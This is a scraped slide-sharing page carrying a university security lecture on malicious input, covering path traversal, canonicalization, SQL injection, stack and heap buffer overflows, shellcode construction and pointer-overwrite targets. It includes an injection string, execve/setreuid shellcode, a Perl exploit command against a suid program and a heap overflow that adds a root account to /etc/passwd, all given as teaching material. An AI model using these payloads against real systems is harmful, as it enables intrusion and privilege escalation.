slide1 l.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
Computer Forensics Use of Malicious Input PowerPoint Presentation
Download Presentation
Computer Forensics Use of Malicious Input

Loading in 2 Seconds...

play fullscreen
1 / 147

Computer Forensics Use of Malicious Input - PowerPoint PPT Presentation


  • 107 Views
  • Uploaded on

Computer Forensics Use of Malicious Input. Buffer and Heap Overflow Attacks. Standard Tool to Break Into Systems. Used for Access Escalation. Very Common. Prototype of an Attack Mode. Beware of User Input. Anonymous FTP should allow access to files selectively.

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Computer Forensics Use of Malicious Input' - razi


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
slide1

Computer Forensics

Use of Malicious Input

buffer and heap overflow attacks
Buffer and Heap Overflow Attacks
  • Standard Tool to Break Into Systems.
  • Used for Access Escalation.
  • Very Common.
  • Prototype of an Attack Mode.
beware of user input
Beware of User Input
  • Anonymous FTP should allow access to files selectively.
  • One implementation parsed the file name.
  • Assume /pub/acc is an allowed directory.
  • Request: get /pub/acc/../../../etc/passwd
beware of user input4
Beware of User Input
  • This implementation only parsed the first part of the string.
  • Decided access is OK
    • get /pub/acc/../../../etc/passwd
  • Allowed access to any file.
  • Took several versions before the security breach was firmly patched.
morale
Morale:
  • Don’t reinvent the wheel.
    • Other implementations used a sandbox.
    • Community had learned how to get it right.
  • Parsing input is difficult.
    • Users have an incentive to be inventive.
  • ALL INPUT IS EVIL
all input is evil
ALL INPUT IS EVIL
  • Canonical Representation Issues
    • Canonicalization: Translates name to standard representation.
  • Canonical Filenames
    • Napster Name Filtering.
    • Ordered to restrict access to certain songs.
    • Access was denied based on name of the song.
    • Users bypassed it with uncanonical song names
      • Deepest Chill  Deepest Chi11
      • Candyman  AndymanCay (in pig latin)
all input is evil7
ALL INPUT IS EVIL
  • Mac OS X and Apache Vulnerability
    • HFS+ is case insensitive.
    • Apache uses text-based configuration files, that are case sensitive, to determine
    • Disallow access to directory scripts:

<Location /scripts>

order deny, allow

deny from all

</Location

all input is evil8
ALL INPUT IS EVIL
  • Denies user request
  • Allows user request

http://www.mysite.org/scripts/index.html

http://www.mysite.org/SCRIPTS/index.html

all input is evil9
ALL INPUT IS EVIL
  • Sun StarOffice /tmp directory symbolic link vulnerability
  • Symbolic link: file that points to another file.
  • Symbolic links do not share access rights with the file they point to.
all input is evil10
ALL INPUT IS EVIL
  • Sun StarOffice creates file /tmp/soffice.tmp with 0777 access mask.
  • Attacker links /tmp/soffice.tmp to /etc/passwd.
  • Root runs StarOffice
  • Permissions on /etc/passwd would get changed to 0777.
canonicalization issues
Canonicalization Issues
  • Subsystems cooperate.
  • First subsystem does not canonicalize input in the way the second one does.
canonicalization issues12
Canonicalization Issues
  • Common when software make decisions on file names
    • 8.3 representation of file names
    • IIS looks at extensions.
    • Request to ***.asp::$DATA is routed to asp.dll. But this is a NTFS stream, that sends the ASP source code to the user.
    • Trailing dots or slashes
      • “secretFile.doc.” is same as “secretFile.doc” for windows.
canonicalization issues13
Canonicalization Issues
    • \\?\temp\myfile is the same as \temp\myfile
    • Directory traversal ../
  • AOL 5.0 parental controls:
    • Bypass restriction on URL by adding period to file name.
  • Secure IIS verifies incoming and outgoing data
    • Use hexcode: %64elete instead of delete for key words.
    • Use “%2e%2e/” for “../”
    • Two canonalization issues in Security Software!
canonicalization issues14
Canonicalization Issues
  • Lines with carriage returns:
    • Assume logging of file access:
    • Attacker accesses file:
    • Log entry:

111.11.11.11 Mike 2004-02-19 13:02:12 file.txt

file.txt\r\n127.0.0.1\tTom2004-02-19\t13:02:12\tsecret.doc

111.11.11.11 Mike 2004-02-19 13:02:12 file.txt

127.0.0. 1 Tom 2004-02-19 13:02:12 secret.doc

canonicalization issues15
Canonicalization Issues
  • Escaping: Many ways to represent a character
    • US-ASCII
    • Hexadecimal escape codes
    • UTF-8 variable width encoding
    • UCS-2 Unicode encoding
    • HTML escape codes
  • Double Escaping
canonicalization issues16
Canonicalization Issues
  • Homograph Attacks
  • Characters look the same, but are not
  • Latin letter “o”
  • Cyrillic character “o” (U+043E)
morale17
Morale
  • Software should not make decisions based on names.
  • If it has do, enforce name restrictions
  • Don’t trust relative paths.
data base inputs
Data Base Inputs
  • Don’t trust the user.
    • Data base access over the web lead to execution of sql code.
    • string sql = “select * from client where name = ‘” + name + “’”
    • Variable name provided by user
    • If name is Schwarz, this executes
    • string sql = “select * from client where name = ‘schwarz’”
data base inputs19
Data Base Inputs
  • User enters:
    • Schwarz’ or 1=1 - -
  • The sql statement becomes
    • string sql = “select * from client where name = ‘schwarz’ or 1=1 - -”
  • Selects all clients
  • - - SQL comment, comments out everything behind.
buffer overflow attacks
Buffer Overflow Attacks
  • Stack: push and pop
buffer overflow attacks21
Buffer Overflow Attacks
  • Memory used by a program is split into segments.
    • Data segment – global program variables
    • BSS segment – static program variables
    • Heap – dynamic program variables
    • Stack – procedure call data and local variables
buffer overflow attack
Buffer Overflow Attack

int main(int argc, char* argv[])

{

foo(argv[1]); return 0;

}

void foo(const char* input)

{

char buf[10];

printf("Hello World\n");

}

buffer overflow attack23
Buffer Overflow Attack

int main(int argc, char* argv[]) {

foo(argv[1]);

return 0;}

void foo(const char* input)

{

char buf[10];

printf("Hello World\n");

}

buffer overflow attack24
Buffer Overflow Attack
  • Works by overwriting the return address to jump somewhere else.
buffer overflow attack25
Buffer Overflow Attack

#pragma check_stack(off)

#include <string.h>

#include <stdio.h>

void foo(const char* input) {

char buf[10];

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

strcpy(buf, input);

printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); }

buffer overflow attack26
Buffer Overflow Attack

void bar(void)

{

printf("Augh! I've been hacked!\n");

}

buffer overflow attack27
Buffer Overflow Attack

int main(int argc, char* argv[])

{

printf("Address of foo = %p\n", foo);

printf("Address of bar = %p\n", bar);

if (argc != 2) {

printf("Please supply a string as an argument!\n");

return -1; }

foo(argv[1]); return 0;

}

buffer overflow attack28
Buffer Overflow Attack

Chapter05>stackoverrun.exe Hello

Address of foo = 00401000

Address of bar = 00401050

My stack looks like:

00000000

00000A28

7FFDF000

0012FEE4

004010BB

0032154D

Hello

Now the stack looks like:

6C6C6548

0000006F

7FFDF000

0012FEE4

004010BB

0032154D

buffer overflow attack29
Buffer Overflow Attack

Chapter05>stackoverrun.exe Hello

Address of foo = 00401000

Address of bar = 00401050

My stack looks like:

00000000

00000A28

7FFDF000

0012FEE4

004010BB

0032154D

Hello

Now the stack looks like:

6C6C6548

0000006F

7FFDF000

0012FEE4

004010BB

0032154D

buffer overflow attack31
Buffer Overflow Attack
  • If we overflow the buffer, then we overwrite the return address.
  • If we overwrite the return address, then (mostly), the memory location executed after the return does not belong to the program.
  • Segmentation Fault.
  • O.K., now we know how to write programs that crash!!!!!!!!
buffer overflow attack32
Buffer Overflow Attack
  • By looking at the program and its output, we can write the address of bar into the return address.
  • This will cause the execution to go to bar.
buffer overflow attack35
Buffer Overflow Attack
  • This is fun, but useless.
  • Real attack: overwrite return address so that code execution jumps into the input given by attacker.
buffer overflow attack36
Buffer Overflow Attack
  • To protect against signatures, structure input
    • Varying stuff such as NOP sled
    • execve(/bin/sh) (gives new shell with program privileges in UNIX)
    • Pointer to execve statement.
      • This pointer overwrites the return address.
buffer overflow attack37
Buffer Overflow Attack
  • Finding vulnerabilities
    • Script-kiddies scan target with automated tool.
    • Tool creator has detailed analysis of vulnerabilities.
      • Look for strcpy, gets, getws, memcpy memmove, scanf, …
    • Alternatively, just cram the application until it crashes.
      • Crash used to give you locations of registers.
buffer overflow attack38
Buffer Overflow Attack
  • Example: Cram in lots of input of As.
  • Program crashes, EIP has value 41414141.
  • Sign of buffer overflow.
  • Now try to feed more specific input.
buffer overflow attack40
Buffer Overflow Attack
  • Attack signature can be used by IDS.
  • Vary the NOP commands.
  • Many alternatives.
buffer overflow attack41
Buffer Overflow Attack
  • Protection
    • Make stack non-executable.
    • Use canary birds.
buffer overflow attack42
Buffer Overflow Attack
  • Stack Guard
  • MS Visual Studio

use canaries.

buffer overflow attack43
Buffer Overflow Attack
  • (Used to) Happen a lot:
    • Most frequent vulnerability according to CERT
    • MS Outlook

Vcard: Virtual business card

buffer overflow vulnerability.

    • IIS 5
    • Internet Printing Protocol
heap overflow attack
Heap Overflow Attack
  • These protections do not apply to heaps, where dynamically allocated memory resides.
  • Some of this memory contains the addresses of functions that are going to be called.
  • Harder to find, harder to protect against.
remember
Remember:

People attack computer systems because they can.

buffer overflow details
Buffer Overflow Details
  • This function just mismanages the stack:

int main ( int argc, char* argv[])

{ char buffer[500];

strcpy(buffer, argv[1]);

return 0;

}

buffer overflow attack details
Buffer Overflow Attack Details
  • Assume that this program is a suid root program:

$ sudo chown root vuln

$ sudo chmod +s vuln

$ ls –l vuln

-rwsr-sr-x 1 root linuxUser 4934 May

buffer overflow attack details48
Buffer Overflow Attack Details
  • We need three ingredients to break this code:
    • NOP sled
    • Shell-code
      • Assembly language code that spawns a shell
    • Return address (into the beginning of the overflowing buffer)
      • Need to guess approximate location of the buffer
      • Use current stack pointer to estimate beginning of buffer
buffer overflow attack details49
Buffer Overflow Attack Details
  • Put shell code into a file (called shellcode)
  • Use Perl scripting to provide input.
  • *nix example:
    • $ ./vuln ‘perl –e `print “\x90”x202;``cat shellcode` `perl –e print “\x78\xf9\xff\xbf”x88
      • For this to work, the return address must be correctly aligned on a word boundary
      • In this case, the shell code has 42B.
      • NOP sled + shell code = 244B = 61 words, which leads to correct alignment.
    • (Using the ` character (under tilde) gives command substitution, we thus provide ./vuln with the correct parameters.)
buffer overflow attack details50
Buffer Overflow Attack Details
  • In the previous example, the buffer was big enough to contain the nop sled, the shell code and a bunch of return addresses.
  • If the buffer is small, we can use environmental variables.
buffer overflow attack details51
Buffer Overflow Attack Details
  • Assume that we have this suid program:

int main(int argc, char argv[]) {

char buffer[5];

strcpy(buffer,argv[1]);

return 0;

}

buffer overflow attack details52
Buffer Overflow Attack Details
  • In this example, the buffer is too small to contain the shell code.
  • Strategy:
    • Place the shell code into the heap.
    • Fill the entire buffer with a return address that points to the shell code.
buffer overflow attack details53
Buffer Overflow Attack Details
  • In the bash shell
    • Create an environmental variable containing the shell code.
    • Calculate the address of the environmental variable.
    • Overflow the buffer with the address of that environmental variable.
buffer overflow attack details54
Buffer Overflow Attack Details
  • In the bash shell, set environmental variable with export VARNAME = variable
    • $ export SHELLCODE=`perl –e ‘print “\x90”x100;’ ` cat shellcode ‘
buffer overflow attack details55
Buffer Overflow Attack Details
  • To find the address of this environmental variable
    • Use gdb
      • Set breakpoint right at the beginning of program
      • Use the gdb command x/20s $esp
        • To see strings in stack memory
        • Look for “SHELLCODE =“
      • Once the shellcode is located, figure out an address that leads to the NOP sled
buffer overflow attack details56
Buffer Overflow Attack Details
  • To find the address of this environmental variable
    • Use a program that calls getenv(SHELLCODE) and returns the value
      • printf(“address is %p\n”,getenv(SHELLCODE));
    • Calculate the address of SHELLCODE
  • This allows us to eliminate the NOP sled
writing shell code
Writing Shell Code
  • Shell Code needs to call
    • execve()
    • setreuid()
      • To restore root privileges after they are dropped.
      • (Recall: we are using a suid program, they might drop root privileges).
writing shell code58
Writing Shell Code
  • System level calls are made with an interrupt
    • int 0x80
    • Parameters are put into registers.
writing shell code59
Writing Shell Code
  • setreuid:

mov eax, 70; syscall number is 70

mov ebx, 0; real uid set to root

mov ecx, 0; set effective uid to root

int 0x80

writing shell code60
Writing Shell Code

section .data

filepath db “/bin/shXAAAABBBB”

section .text

mov eax, 0;

mov ebx, filepath

mov [ebx+7], al

mov[ebx+8], ebx

mov [ebx+12] ,eax

mov eax, 11; since execve is syscall 11

lea ecx, [ebx+8]; load ecx with command addr

lea edx, [ebx+12]; load edx with second para. 0

int 0x80

ebx points to

/bin/shXAAAABBBB

/bin/sh0AAAABBBB

/bin/sh0aaaaBBBB

where aaaa is the address of /bin/sh

/bin/sh0aaaa0000

since eax contains 0000

Code for execve

writing shell code61
Writing Shell Code
  • This program spawns a shell.
    • But string is still contained in the data segment.
    • This will not work if shell code needs to be injected into existing code.
writing shell code62
Writing Shell Code
  • Using EIP
    • A call instruction will load the EIP with a memory address.
    • The address of the next instruction, the return address, is pushed on the stack.
    • Call trick:
      • Jump to the end of the code.
        • (The string follows the end of the code.)
      • Make a call to the beginning of the code.
      • Remove the return address from the stack
writing shell code63
Writing Shell Code
  • Call and jmp can use addresses relative to EIP
  • call
    • pushes return address on stack
    • right after call:
      • pop off return address
      • call now returns to the address specified by top of stack
writing shell code64
Writing Shell Code

ebx contains the address of the string

jmp two

one:

pop ebx

<program code here>

two:

call one

db ‘/bin/sh0’

Stack after call one:

writing shell code65
Writing Shell Code
  • Put everything together and you have shell code.
  • If you look at it in hex, you will see:

B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD

80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89

43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8

….

! ARGHHH: ZEROES !

writing shell code66
Writing Shell Code
  • If you give zeroes as input, any self-respecting C-string function will assume the end of string.
  • Some of the zeroes come from using the parameter zero.
    • To load register eax with zero, use
      • xor eax, eax
  • Sometimes, a zero byte is part of a parameter.
    • Load only half of a register:
    • Replace
      • mov eax, 70
    • with
      • xor eax, eax
      • mov al, 70
writing shell code67
Writing Shell Code
  • Polymorphic Shell Code
    • IDS can look for shell code signature
    • IDS could insist on all input being printable.
      • Make shell code that only consists of printable characters.
      • Bigger and harder to do, but possible.
      • Phiral Research Laboratories has a tool called dissembler that translates byte code into byte code that is printable.
heap buffer overflow attack
Heap Buffer Overflow Attack
  • Are not standardized such as buffer overflow attacks.
  • Need to find something important in the heap that is stored after an over-flowable buffer.
    • An important variable
      • User permissions
      • Authentication status
    • A function pointer
heap buffer overflow attack69
Heap Buffer Overflow Attack

Program appends userinput (up to 19B) into a file called “/tmp/notes”

heap buffer overflow attack70
Heap Buffer Overflow Attack
  • Memory for *userinput is located before *outputfile
  • Distance between the two is 24
    • As revealed by debugging
    • As revealed by inputting successively longer strings.
      • Up to 23B input is tolerated.
        • Remember to add the additional zero
heap buffer overflow attack71
Heap Buffer Overflow Attack
  • Assume that this is a suid program
heap buffer overflow attack72
Heap Buffer Overflow Attack
  • How do we overflow the heap?
    • Input 12345678901234567890123testfile
      • Writes to testfile instead.
      • Testfile contains
        • 12345678901234567890123testfile
heap buffer overflow attack73
Heap Buffer Overflow Attack
  • Can use the same trick to append to the password file.
    • Problem: Need to craft the entry to fit.
    • Desired entry:
      • myroot::0:0:me:/root: /bin/bash
    • However, somewhere there we have to get an /etc/passwd in.
    • Solution: Use a symbolic link
heap buffer overflow attack74
Heap Buffer Overflow Attack
  • Create a symbolic link so that an entry can be both a shell and end in /etc/passwd:
heap buffer overflow attack75
Heap Buffer Overflow Attack
  • This means that this is a valid password file line:
    • myroot::0:0:me:/root:/tmp/etc/passwd
  • Now we need to modify this string so that /etc/passwd start with byte 24
    • myroot::0:0:m:/root:/tmp/etc/passwd works.
heap buffer overflow attack76
Heap Buffer Overflow Attack
  • This is a fairly contrived example, but explains the ideas well.
pointer subterfuge
Pointer Subterfuge
  • Pointer Subterfuge is a general expression for exploits that modify a pointer’s value.
    • Function pointers are overwritten to transfer control to an attacker supplied shellcode.
    • Data pointers can also be changed to modify the program flow according to the attacker’s wishes.
pointer subterfuge78
Pointer Subterfuge
  • Using a buffer overflow:
    • Buffer must be allocated in the same segment as the target pointer.
    • Buffer must have a lower memory address than the target pointer.
    • Buffer must be susceptible to a buffer overflow exploit.
pointer subterfuge79
Pointer Subterfuge
  • UNIX executables contain both a data and a BSS segment.
  • The data segment contains all initialized global variables and constants.
  • The Block Started by Symbols (BSS) segment contains all uninitialized global variables.
  • Initialized global variables are separated from uninitialized variables.
pointer subterfuge80
Pointer Subterfuge

1. static int GLOBAL_INIT = 1; /* data segment, global */

 2. static int global_uninit; /* BSS segment, global */

 3.

 4. void main(int argc, char **argv) { /* stack, local */

 5.   int local_init = 1; /* stack, local */

 6.   int local_uninit; /* stack, local */

 7.   static int local_static_init = 1; /* data seg, local */

 8.   static int local_static_uninit; /* BSS segment, local */

/* storage for buff_ptr is stack, local */

/* allocated memory is heap, local */

 9.   }

pointer subterfuge81
Pointer Subterfuge

void good_function(const char *str) {

//do something

}

int main(int argc, char **argv) {

if (argc !=2){

printf("Usage: prog_name <string1>\n");

exit(-1);

}

static char buff [BUFFSIZE];

static void (*funcPtr)(const char *str);

funcPtr = &good_function;

strncpy(buff, argv[1], strlen(argv[1]));

(void)(*funcPtr)(argv[2]);

return 0;

}

pointer subterfuge82
Pointer Subterfuge
  • Program vulnerable to buffer overflow exploit.
  • Both buffer and function pointer are uninitialized and hence stored in BSS segment.
pointer subterfuge83
Pointer Subterfuge

void good_function(const char *str) {

//do something

}

int main(int argc, char **argv) {

if (argc !=2){

printf("Usage: prog_name <string1>\n");

exit(-1);

}

static char buff [BUFFSIZE];

static void (*funcPtr)(const char *str);

funcPtr = &good_function;

strncpy(buff, argv[1], strlen(argv[1]));

(void)(*funcPtr)(argv[2]);

return 0;

}

function pointer example
Function Pointer Example

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. }

The static character array buff

funcPtr declared are both uninitialized and stored in the BSS segment.

function pointer example85
Function Pointer Example

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. }

A buffer overflow occurs when the length of argv[1] exceeds BUFFSIZE.

function pointer example86
Function Pointer Example

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. }

When the program invokes the function identified by funcPtr, the shellcode is invoked instead of good_function().

data pointers example
Data PointersExample

Buffer is vulnerable to overflow.

void foo(void * arg, size_t len) {

char buff[100];

long val = …;

long *ptr = …;

memcpy(buff, arg, len);

*ptr = val;

return;

}

Both val and ptr are located after the buffer and can be overwritten.

This allows a buffer overflow to write an arbitrary address in memory.

data pointers
Data Pointers
  • Arbitrary memory writes can change the control flow.
  • This is easier if the length of a pointer is equal to the length of important data structures.
    • Intel 32 Architectures:
      • sizeof(void*) = sizeof(int) = sizeof(long) = 4B.
instruction pointer modification
Instruction Pointer Modification
  • Instruction Counter (IC) (a.k.a Program Counter (PC)) contains address of next instruction to be executed.
    • Intel: EIP register.
  • IC cannot be directly manipulated.
  • IC is incremented or changed by a number of instructions:
    • jmp
    • Conditional jumps
    • call
    • ret
instruction pointer modification90
Instruction Pointer Modification

int _tmain(int argc, _TCHAR* argv[]) {

if (argc !=1){

printf("Usage: prog_name\n");

exit(-1);

}

static void (*funcPtr)(const char *str);

funcPtr = &good_function;

(void)(*funcPtr)("hi ");

good_function("there!\n");

return 0;

}

Invoke good function through a pointer.

Invoke good function directly.

instruction pointer modification91
Instruction Pointer Modification

First invocation of good function.

Machine code is

ff 15 00 84 47 00.

The last four bytes are the address of the called function.

void)(*funcPtr)(“hi “);

00424178 mov esi, esp

0042417A push offset string "hi" (46802Ch)

0042417F call dword ptr [funcPtr (478400h)]

00424185 add  esp, 4

00424188 cmp  esi, esp

good_function(“there!\n”);

0042418F push offset string "there!\n" (468020h)

00424194 call good_function (422479h)

00424199 add  esp, 4

Second invocation of good function.

Machine code is

e8 e0 e2 ff ff.

The last four bytes are the relative address of the called function.

instruction pointer modification92
Instruction Pointer Modification
  • Static invocation uses an immediate value for the address of the function.
    • Address is encoded in the instruction.
    • Address is calculated and put into IC.
    • It cannot be changed without changing the executable.
  • Invocation through function pointer is indirect.
    • Future value of IC is in a memory location that can be changed.
instruction pointer modification93
Instruction Pointer Modification
  • Controlling the IC gives attacker the chance to select code to be selected.
    • Easy if attacker can write an arbitrary memory address.
    • Function invocations that cannot be resolved at compile time are vulnerable.
targets for instruction pointer modification global offset table
Targets for Instruction Pointer Modification:Global Offset Table
  • Windows and Linux use a similar mechanism for linking and transferring control for library functions.
    • Windows is not exploitable.
    • Linux is.
targets for instruction pointer modification global offset table95
Targets for Instruction Pointer Modification:Global Offset Table
  • ELF (executable & linking format)
    • Default binary format for
      • Linux
      • Solaris 2.x
      • SVR4
      • Adopted by TIS (Tool Interface Standards Committee)
    • Global Offset Table (GOT)
      • Included in process space of ELF binaries.
      • GOT contains absolute addresses.
      • Allows easy dynamic linking.
targets for instruction pointer modification global offset table96
Targets for Instruction Pointer Modification:Global Offset Table
  • GOT
    • Initially, GOT entry contains address of RTL (runtime linker)
    • If that function is called, the RTL resolves the real address of the intended function and puts it into GOT.
    • Subsequent calls invoke the function directly.
targets for instruction pointer modification global offset table97
Targets for Instruction Pointer Modification:Global Offset Table

# RTL

GOT

# RTL

Invoke RTL

RTL resolves address.

RTL writes address into GOT

# RTL

# printf

# RTL

Program calls printf

First call to printf

Go to GOT and invoke function

there

# RTL

main

targets for instruction pointer modification global offset table98
Targets for Instruction Pointer Modification:Global Offset Table
  • Address of a GOT entry is fixed in the ELF executable.
    • It does not vary between executable process images.
  • Use objdump to obtain the address of a GOT entry.
targets for instruction pointer modification global offset table99
Targets for Instruction Pointer Modification:Global Offset Table

% objdump --dynamic-reloc test-prog

format: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049bc0 R_386_GLOB_DAT __gmon_start__

08049ba8 R_386_JUMP_SLOT __libc_start_main

08049bac R_386_JUMP_SLOT strcat

08049bb0 R_386_JUMP_SLOT printf

08049bb4 R_386_JUMP_SLOT exit

08049bb8 R_386_JUMP_SLOT sprintf

08049bbc R_386_JUMP_SLOT strcpy

The offsets specified for each R_386_JUMP_SLOT relocation record contain the address of the specified function (or the RTL linking function)

targets for instruction pointer modification global offset table100
Targets for Instruction Pointer Modification:Global Offset Table
  • How to use GOT?
    • Attacker needs to provide their own shellcode.
    • Attacker needs to be able to write an arbitrary value to an arbitrary address.
    • Attack:
      • Attacker overwrites GOT entry (that is going to be used) with the address of their shellcode.
targets for instruction pointer modification dtors
Targets for Instruction Pointer Modification:.dtors
  • gcc allows attributes
    • keyword is __attribute__
    • constructor attribute:
      • function will be executed before main()
    • destructor attribute:
      • function will be executed just after main() exits.
    • ELF places these in the .ctors and the .dtors sections.

static void start(void) __attribute__ ((constructor));static void stop(void) __attribute__ ((destructor));

targets for instruction pointer modification dtors102
Targets for Instruction Pointer Modification:.dtors

static void create(void)

__attribute__ ((constructor));

static void destroy (void)

__attribute__ ((destructor));

int main(int argc, char *argv[]) {

printf("create: %p.\n", create);

printf("destroy: %p.\n", destroy);

exit(EXIT_SUCCESS);}

void create(void) {

printf("create called.\n");}

void destroy(void) {

printf("destroy called.\n");}

create called.

create: 0x80483a0. destroy: 0x80483b8.

destroy called.

targets for instruction pointer modification dtors103
Targets for Instruction Pointer Modification:.dtors
  • Both sections have the following layout:
    • 0xffffffff {function-address} 0x00000000
  • The .ctors and .dtors sections are mapped into the process address space and are writable by default.
  • Constructors have not been used in exploits because they are called before the main program.
  • The focus is on destructors and the .dtors section.
  • The contents of the .dtors section in the executable image can be examined with the objdump command.
targets for instruction pointer modification dtors104
Targets for Instruction Pointer Modification:.dtors
  • An attacker can transfer control to arbitrary code by overwriting the address of the function pointer in the .dtors section.
  • If the target binary is readable by an attacker, an attacker can find the exact position to overwrite by analyzing the ELF image.
  • The .dtors section is present even if no destructor is specified.
  • The .dtors section consists of the head and tail tag with no function addresses between.
  • It is still possible to transfer control by overwriting the tail tag 0x00000000 with the address of the shellcode.
  • If the shellcode returns, the process will call subsequent addresses until a tail tag is encountered or a fault occurs.
targets for instruction pointer modification dtors105
Targets for Instruction Pointer Modification:.dtors
  • For an attacker, overwriting the .dtors section has advantages over other targets:
    • .dtors is always present and mapped into memory.
  • However:
    • The .dtors target only exists in programs that have been compiled and linked with GCC.
    • It is difficult to find a location to inject the shellcode onto so that it remains in memory after main() has exited.
targets for instruction pointer modification virtual functions
Targets for Instruction Pointer Modification:Virtual Functions
  • Important feature for OO programming.
    • Allows dynamic binding (resolved during run-time) of function calls.
    • Virtual function is:
      • A member function of a class
      • Declared with virtualkeyword
      • Usually has a different functionality in the derived class
      • A function call is resolved at run-time
targets for instruction pointer modification virtual functions107
Targets for Instruction Pointer Modification:Virtual Functions

#include <iostream>

using namespace std;

class a {

public: void f(void) { cout << "base f" << endl;};

virtual void g(void) { cout << "base g" << endl;};

};

class b: public a {

public: void f(void) { cout << "derived f" << endl;};

void g(void) { cout << "derived g" << endl;};

};

int main(int argc, char *argv[]) {

a *my_b = new b();

my_b->f();

my_b->g();

return 0; }

targets for instruction pointer modification virtual functions108
Targets for Instruction Pointer Modification:Virtual Functions
  • Typical Implementation:
    • Virtual Function Table (VTBL).
    • Array of function pointers used at runtime for dispatching virutal function calls.
    • Each individual object pointer points to the VTBL via a VPTR in the object header.
    • VTBL contains pointers to all implementations of a virtual function.

b-obj:

VPTR

VTBL:

g()

my_b

code for g()

targets for instruction pointer modification virtual functions109
Targets for Instruction Pointer Modification:Virtual Functions
  • Attacker can:
    • overwrite function pointers in the VTBL

or

    • change the VPTR to point to a new VTBL.
  • Attacker can use an arbitrary memory write or a buffer overflow directly on the object.
targets for instruction pointer modification atexit on exit
Targets for Instruction Pointer Modification:atexit() on_exit()
  • atexit()
    • General utility defined in C99
    • Registers a function to be called at normal program termination.
    • C99 allows registration of at least 32 functions.
targets for instruction pointer modification atexit on exit111
Targets for Instruction Pointer Modification:atexit() on_exit()
  • on_exit()
    • Similar functionality under SunOS
    • Present in libc4, libc5, glibc
targets for instruction pointer modification atexit on exit112
Targets for Instruction Pointer Modification:atexit() on_exit()

#include <stdio.h>

char *glob;

void test(void) {

printf("%s", glob);

}

int main(void) {

atexit(test);

glob = "Exiting.\n";

}

targets for instruction pointer modification atexit on exit113
Targets for Instruction Pointer Modification:atexit() on_exit()
  • atexit() adds a specific function to an array of functions to be called when exiting.
  • exit() invokes each function in LIFO order.
  • Array is allocated as a global symbol
    • __atexit in BSD
    • __exit_funcs in Linux
targets for instruction pointer modification atexit on exit114
Targets for Instruction Pointer Modification:atexit() on_exit()

(gdb) b main

Breakpoint 1 at 0x80483f6: file atexit.c, line 6.

(gdb) r

Starting program: /home/rcs/book/dtors/atexit

Breakpoint 1, main (argc=1, argv=0xbfffe744) at atexit.c:6

6 atexit(test);

(gdb) next

7 glob = "Exiting.\n";

(gdb) x/12x __exit_funcs

0x42130ee0 <init>:    0x00000000 0x00000003 0x00000004 0x4000c660

0x42130ef0 <init+16>: 0x00000000 0x00000000 0x00000004 0x0804844c

0x42130f00 <init+32>: 0x00000000 0x00000000 0x00000004 0x080483c8

(gdb) x/4x 0x4000c660

0x4000c660 <_dl_fini>: 0x57e58955 0x5ce85356 0x81000054 0x0091c1c3

(gdb) x/3x 0x0804844c

0x804844c <__libc_csu_fini>: 0x53e58955 0x9510b850 x102d0804

(gdb) x/8x 0x080483c8

0x80483c8 <test>: 0x83e58955 0xec8308ec 0x2035ff08 0x68080496

targets for instruction pointer modification atexit on exit115
Targets for Instruction Pointer Modification:atexit() on_exit()
  • In the debug session, a breakpoint is set before the call to atexit() in main() and the program is run.
  • The call to atexit() is then executed to register the test() function.
  • After the test() function is registered, memory at __exit_funcs is displayed.
  • Each function is contained in a structure consisting of four doublewords.
    • Last doubleword contains address of function.
targets for instruction pointer modification atexit on exit116
Targets for Instruction Pointer Modification:atexit() on_exit()

(gdb) b main

Breakpoint 1 at 0x80483f6: file atexit.c, line 6.

(gdb) r

Starting program: /home/rcs/book/dtors/atexit

Breakpoint 1, main (argc=1, argv=0xbfffe744) at atexit.c:6

6 atexit(test);

(gdb) next

7 glob = "Exiting.\n";

(gdb) x/12x __exit_funcs

0x42130ee0 <init>:    0x00000000 0x00000003 0x00000004 0x4000c660

0x42130ef0 <init+16>: 0x00000000 0x00000000 0x00000004 0x0804844c

0x42130f00 <init+32>: 0x00000000 0x00000000 0x00000004 0x080483c8

(gdb) x/4x 0x4000c660

0x4000c660 <_dl_fini>: 0x57e58955 0x5ce85356 0x81000054 0x0091c1c3

(gdb) x/3x 0x0804844c

0x804844c <__libc_csu_fini>: 0x53e58955 0x9510b850 x102d0804

(gdb) x/8x 0x080483c8

0x80483c8 <test>: 0x83e58955 0xec8308ec 0x2035ff08 0x68080496

targets for instruction pointer modification atexit on exit117
Targets for Instruction Pointer Modification:atexit() on_exit()
  • In the example:
    • Three function have been registered:
      • _dl_fini()
      • __libc_csu_fini()
      • test()
    • Attacker can overwrite any entry of the __exit_funcs structure.
targets for instruction pointer modification longjmp
Targets for Instruction Pointer Modification:longjmp()
  • C99 defines alternate function call and return discipline
    • Intended for dealing with errors and interrupts encountered in a low-level subroutine of a program
    • setjmp() macro
      • Saves calling environment
    • longjmp(), siglongjmp()
      • Non-local jump to a saved stack context
targets for instruction pointer modification longjmp119
